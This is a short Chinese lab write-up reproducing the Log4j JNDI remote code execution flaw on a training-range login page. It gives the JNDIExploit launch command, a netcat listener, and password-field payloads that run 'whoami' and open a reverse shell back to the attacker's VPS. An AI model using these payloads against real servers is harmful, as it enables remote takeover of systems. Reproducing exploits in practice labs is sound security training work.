掌控者-封神台-Apache Log4j任意代码执行复现
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档Apache Log4j任意代码执行复现一、工具二、靶场三、步骤总结一、工具JNDIExploit-1.2-SNAPSHOT.jar二、靶场看网页源码猜测就是username和password为注入点三、步骤vps有java环境java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的IP成功运行向密
·
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档
一、工具
二、靶场
看网页源码
猜测就是username和password为注入点
三、步骤
vps有java环境java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的IP
成功运行
向密码框填入${jndi:ldap://vps的IP:1389/Basic/Command/whoami} 登录
有回显
先在vps运行 nc -lvp 6666监听6666
向密码框填入${jndi:ldap://vps的IP:1389/Basic/ReverseShell/vps的IP/6666} 登录
成功回传shell
总结
😀
华为开发者空间，是为全球开发者打造的专属开发空间，汇聚了华为优质开发资源及工具，致力于让每一位开发者拥有一台云主机，基于华为根生态开发、创新。
更多推荐
1
0- 0
已为社区贡献1条内容
所有评论(0)